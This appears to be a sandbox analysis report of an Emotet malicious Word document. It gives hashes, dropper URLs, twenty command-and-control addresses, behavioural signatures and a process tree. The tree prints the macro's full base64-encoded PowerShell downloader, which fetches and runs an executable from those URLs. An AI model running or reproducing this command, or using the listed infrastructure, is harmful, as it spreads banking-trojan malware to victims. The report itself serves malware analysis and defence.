Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    113s
  • max time network
    155s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    18/08/2020, 20:44

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e2_5f7c93a597601e93055a2b8a5babff57948ad78fcac3a29fdb6c25432a9602ca_2020-08-18__204310._doc.doc
  • Size 181KB
  • Sample200818-vxnjq5dwva
  • SHA256 5f7c93a597601e93055a2b8a5babff57948ad78fcac3a29fdb6c25432a9602ca
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://thichdirung.com/dup-installer/6s2pNWH/
  • exe.dropper

    http://sungvalopkhongsam.com/temp/t90yjs/
  • exe.dropper

    http://drshekharbiswas.com/cgi-bin/La1/
  • exe.dropper

    https://www.proyectobayacu.com/nothing/5/
  • exe.dropper

    http://digitalmarketingbloggers.com/elju/Ao5IJy/
  • exe.dropper

    http://recuperaatupareja.com/Archivosviejos/tw/
  • exe.dropper

    http://www.laibray.com/blog/N9z/

Extracted

Family

  • emotet

C2

  • 64.183.73.122:80

  • 69.30.203.214:8080

  • 67.205.85.243:8080

  • 222.214.218.37:4143

  • 104.236.246.93:8080

  • 110.145.77.103:80

  • 89.186.91.200:443

  • 74.120.55.163:80

  • 95.179.229.244:8080

  • 70.167.215.250:8080

  • 47.146.117.214:80

  • 209.141.54.221:8080

  • 24.43.99.75:80

  • 103.86.49.11:8080

  • 142.105.151.124:443

  • 62.138.26.28:8080

  • 24.179.13.119:80

  • 37.187.72.193:8080

  • 137.59.187.107:8080

  • 97.82.79.83:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_5f7c93a597601e93055a2b8a5babff57948ad78fcac3a29fdb6c25432a9602ca_2020-08-18__204310._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1060
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABFAHQANwBrADAAegBkAD0AKAAnAEQAJwArACcANgA3AHMAaAAnACsAJwB2ADIAJwApADsAJgAoACcAbgBlAHcALQAnACsAJwBpAHQAJwArACcAZQBtACcAKQAgACQARQBOAFYAOgBUAGUAbQBQAFwATwBGAGYAaQBDAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIARQBjAFQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBgAGMAdQBSAGkAVAB5AHAAcgBvAFQAYABPAGMAYABvAGwAIgAgAD0AIAAoACcAdABsAHMAMQAyACwAIAB0ACcAKwAnAGwAcwAxACcAKwAnADEALAAgAHQAJwArACcAbABzACcAKQA7ACQAVgBuAGIAeQBhAGgAeAAgAD0AIAAoACcASQBuACcAKwAnAHUAZQBkADkAcQAnACkAOwAkAEsAdQBsAHgAXwB0AHYAPQAoACcASwAzACcAKwAnAGcANgAyACcAKwAnAF8AegAnACkAOwAkAEUAbwA0AGcAMQAwAHoAPQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAnAEIAcQBNACcAKwAnAE8AZgBmAGkAJwArACcAYwBlADIAMAAnACsAJwAxADkAQgAnACsAJwBxAE0AJwApACAAIAAtAHIARQBQAGwAYQBDAGUAIAAoAFsAYwBIAGEAUgBdADYANgArAFsAYwBIAGEAUgBdADEAMQAzACsAWwBjAEgAYQBSAF0ANwA3ACkALABbAGMASABhAFIAXQA5ADIAKQArACQAVgBuAGIAeQBhAGgAeAArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQASABzAGEANwBkAGcANgA9ACgAJwBRAHcAbAB4ACcAKwAnAHgAdAA1ACcAKQA7ACQAQgB3AGEAMQBzADgAZAA9AC4AKAAnAG4AZQAnACsAJwB3AC0AbwBiAGoAZQBjACcAKwAnAHQAJwApACAATgBlAFQALgB3AEUAQgBjAGwASQBlAE4AdAA7ACQATABkAHcAZQBhAGEAZwA9ACgAJwBoACcAKwAnAHQAdABwACcAKwAnADoALwAvAHQAJwArACcAaAAnACsAJwBpAGMAJwArACcAaAAnACsAJwBkACcAKwAnAGkAcgAnACsAJwB1AG4AJwArACcAZwAnACsAJwAuACcAKwAnAGMAbwBtAC8AJwArACcAZAB1AHAALQBpAG4AcwB0AGEAbABsACcAKwAnAGUAcgAvADYAcwAyACcAKwAnAHAATgBXACcAKwAnAEgALwAqAGgAdAB0AHAAOgAvAC8AcwAnACsAJwB1AG4AZwB2AGEAbABvAHAAawBoACcAKwAnAG8AJwArACcAbgBnACcAKwAnAHMAYQBtACcAKwAnAC4AJwArACcAYwBvAG0ALwAnACsAJwB0AGUAJwArACcAbQBwAC8AdAA5ACcAKwAnADAAJwArACcAeQBqACcAKwAnAHMALwAnACsAJwAqACcAKwAnAGgAdAB0AHAAOgAnACsAJwAvACcAKwAnAC8AZAAnACsAJwByAHMAaABlAGsAaAAnACsAJwBhACcAKwAnAHIAYgBpAHMAJwArACcAdwBhACcAKwAnAHMAJwArACcALgBjAG8AbQAvAGMAZwAnACsAJwBpAC0AYgBpAG4AJwArACcALwBMAGEAJwArACcAMQAvACoAJwArACcAaAB0AHQAcABzACcAKwAnADoAJwArACcALwAvAHcAdwAnACsAJwB3AC4AcAByACcAKwAnAG8AJwArACcAeQBlAGMAdABvACcAKwAnAGIAJwArACcAYQAnACsAJwB5AGEAJwArACcAYwB1AC4AYwBvAG0ALwBuACcAKwAnAG8AdABoAGkAbgAnACsAJwBnAC8AJwArACcANQAvACoAaAB0ACcAKwAnAHQAcAA6AC8ALwAnACsAJwBkACcAKwAnAGkAJwArACcAZwAnACsAJwBpAHQAYQAnACsAJwBsAG0AYQByAGsAZQAnACsAJwB0AGkAJwArACcAbgBnAGIAbABvAGcAJwArACcAZwAnACsAJwBlAHIAcwAuACcAKwAnAGMAbwAnACsAJwBtAC8AZQAnACsAJwBsACcAKwAnAGoAdQAvACcAKwAnAEEAbwA1AEkASgB5AC8AKgAnACsAJwBoAHQAJwArACcAdAAnACsAJwBwADoALwAnACsAJwAvAHIAZQBjAHUAcABlAHIAYQBhACcAKwAnAHQAdQBwAGEAcgBlAGoAJwArACcAYQAnACsAJwAuAGMAJwArACcAbwBtACcAKwAnAC8AJwArACcAQQByAGMAaABpAHYAbwBzACcAKwAnAHYAaQBlAGoAbwBzACcAKwAnAC8AJwArACcAdAB3AC8AKgBoAHQAJwArACcAdAAnACsAJwBwADoALwAnACsAJwAvAHcAdwB3AC4AJwArACcAbABhAGkAYgByACcAKwAnAGEAeQAuAGMAbwBtAC8AYgAnACsAJwBsAG8AJwArACcAZwAvAE4AOQB6AC8AJwApAC4AIgBTAGAAUABMAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEIAbwA3AG8AbwBxAG0APQAoACcARwBmAGQAJwArACcAcQBvADgAMQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABZAGIAegBtAG4AeABqACAAaQBuACAAJABMAGQAdwBlAGEAYQBnACkAewB0AHIAeQB7ACQAQgB3AGEAMQBzADgAZAAuACIAZABPAHcAbgBgAGwATwBBAEQAYABGAEkAYABMAEUAIgAoACQAWQBiAHoAbQBuAHgAagAsACAAJABFAG8ANABnADEAMAB6ACkAOwAkAFIAZAA1AHcAOAB2AG8APQAoACcAUwBiAGEAbwBoACcAKwAnADAAZAAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQALQBJACcAKwAnAHQAZQBtACcAKQAgACQARQBvADQAZwAxADAAegApAC4AIgBMAGAARQBuAGAAZwBUAGgAIgAgAC0AZwBlACAAMwA3ADgANAAxACkAIAB7ACYAKAAnAEkAbgB2AG8AawBlAC0ASQAnACsAJwB0AGUAJwArACcAbQAnACkAKAAkAEUAbwA0AGcAMQAwAHoAKQA7ACQAWQAzAG0AZABsAGMANQA9ACgAJwBKAHgAJwArACcAMABjAG8ANgAxACcAKQA7AGIAcgBlAGEAawA7ACQAWgA5AHUAegBpAG0AcwA9ACgAJwBSACcAKwAnAHkAJwArACcAbgBxADAAcQBrACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARgB0AHIAZgBuAGoAbwA9ACgAJwBBAHEAdAAnACsAJwA5AHEAZgBsACcAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1668
    • C:\Users\Admin\AppData\Local\Temp\Office2019\Inued9q.exe
      "C:\Users\Admin\AppData\Local\Temp\Office2019\Inued9q.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1788
      • C:\Windows\SysWOW64\mtstocom\EhStorPwdMgr.exe
        "C:\Windows\SysWOW64\mtstocom\EhStorPwdMgr.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1604

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/1060-7-0x0000000006E60000-0x0000000007060000-memory.dmp
        Download

        memory/1060-5-0x000000000AEF0000-0x000000000AEF4000-memory.dmp
        Download

        memory/1060-2-0x0000000008AD0000-0x0000000008AD4000-memory.dmp
        Download

        memory/1060-8-0x0000000006E60000-0x0000000007060000-memory.dmp
        Download

        memory/1060-3-0x0000000006E60000-0x0000000007060000-memory.dmp
        Download

        memory/1060-4-0x0000000006E60000-0x0000000007060000-memory.dmp
        Download

        memory/1060-6-0x000000000BF70000-0x000000000BF74000-memory.dmp
        Download

        memory/1604-22-0x00000000001F0000-0x00000000001FC000-memory.dmp
        Download

        memory/1636-23-0x000007FEF2860000-0x000007FEF2ADA000-memory.dmp
        Download

        memory/1668-14-0x000000001C0E0000-0x000000001C0E1000-memory.dmp
        Download

        memory/1668-15-0x000000001C280000-0x000000001C281000-memory.dmp
        Download

        memory/1668-13-0x00000000023B0000-0x00000000023B1000-memory.dmp
        Download

        memory/1668-12-0x00000000025E0000-0x00000000025E1000-memory.dmp
        Download

        memory/1668-11-0x000000001ABE0000-0x000000001ABE1000-memory.dmp
        Download

        memory/1668-10-0x00000000022E0000-0x00000000022E1000-memory.dmp
        Download

        memory/1668-9-0x000007FEF20F0000-0x000007FEF2ADC000-memory.dmp
        Download

        memory/1788-18-0x0000000000260000-0x000000000026C000-memory.dmp
        Download